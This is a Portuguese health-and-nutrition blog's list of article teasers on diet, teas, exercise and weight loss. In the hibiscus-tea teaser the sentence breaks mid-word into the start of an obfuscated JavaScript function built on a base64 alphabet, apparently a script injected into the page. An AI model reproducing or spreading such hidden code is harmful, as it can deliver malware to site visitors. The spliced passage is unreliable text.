Alimentos que não devemos aquecer no microondas

Fev 6, 2019 | Dicas úteis, Saúde e bem estar

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Alimentos que não devemos aquecer no microondas   Há cada vez mais pessoas que que optam por levar refeições nas marmitas para o seu local de trabalho. Para além de ser uma forma de poupar dinheiro, é também uma excelente ajuda para quem não tem tempo de dirigir-se a...

Saiba quais são os exercícios que queimam mais calorias

Nov 17, 2018 | Saúde e bem estar

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Saiba quais são os exercícios que queimam mais calorias   Fazer exercício regular, de forma moderada, é uma das melhores decisões que podemos tomar. Porquê? Porque os benefícios são enormes. Vou dar-lhe alguns: alivia o stress; ajuda a uma melhor respiração; promove a...

Alimentos que ajudam a retardar o envelhecimento

Nov 13, 2018 | Saúde e bem estar

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Alimentos que ajudam a retardar o envelhecimento     É importante ter uma alimentação variada e equilibrada! Certamente já ouviu muitas vezes este conselho, pela voz do seu médico, e também em campanhas televisivas. A verdade é que os alimentos nos fornecem energia...

Chá de carqueja- um chá que merece a sua atenção

Nov 3, 2018 | Saúde e bem estar

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Chá de carqueja- um chá que merece a sua atenção   É apreciador de chá? Adora tomar um chá antes de ir dormir? Este é o artigo perfeito para si. Hoje falo-lhe sobre o chá de carqueja. É uma planta que ainda não é conhecida de toda a gente, mas que cada vez tem mais e...

Limonada- 2 receitas deliciosas + benefícios para a saúde

Set 2, 2018 | Saúde e bem estar

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Limonada- 2 receitas deliciosas + benefícios para a saúde   A limonada é uma combinação perfeita. E porquê? Porque, por um lado, irá manter-nos hidratados e, por outro, traz muitos os benefícios à saúde. O limão é um fruto rico em vitamina C, antioxidantes e...

Alimentos que pode consumir antes de ir dormir

Ago 9, 2018 | header, Saúde e bem estar

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Alimentos que pode consumir antes de ir dormir     Sabia que é um erro ir para a cama com muita fome? É verdade, quem o afirma são os nutricionistas. Conheça aqui quais são os snacks que ajudam a relaxar a mente e o corpo e alguns que até ajudam a queimar calorias...

10 alimentos que ajudam a emagrecer

Jun 19, 2018 | Saúde e bem estar

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10 alimentos que ajudam a emagrecer   Não é apenas uma questão estética, é uma questão de saúde. Com uma incidência cada vez maior da obesidade e das doenças que lhe estão associadas, torna-se fundamental inverter este ciclo e apostar em alimentos bons, nutritivos,...

Chá de hibisco e canela, um aliado no emagrecimento

Jun 17, 2018 | Saúde e bem estar

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Chá de hibisco e canela, um aliado no emagrecimento   Eis o chá de hibisco e canela, um aliado no emagrecimento. Os chás podem ser um grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...

Dicas saudáveis – os 7 alimentos que mais engordam

Mai 23, 2018 | Saúde e bem estar

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Dicas saudáveis – os 7 alimentos que mais engordam   Com a correria do dia-a-dia e com o stress em que vivemos actualmente, pode tornar-se difícil ter uma alimentação saudável. É por isso importante termos noção dos alimentos que mais engordam de forma a...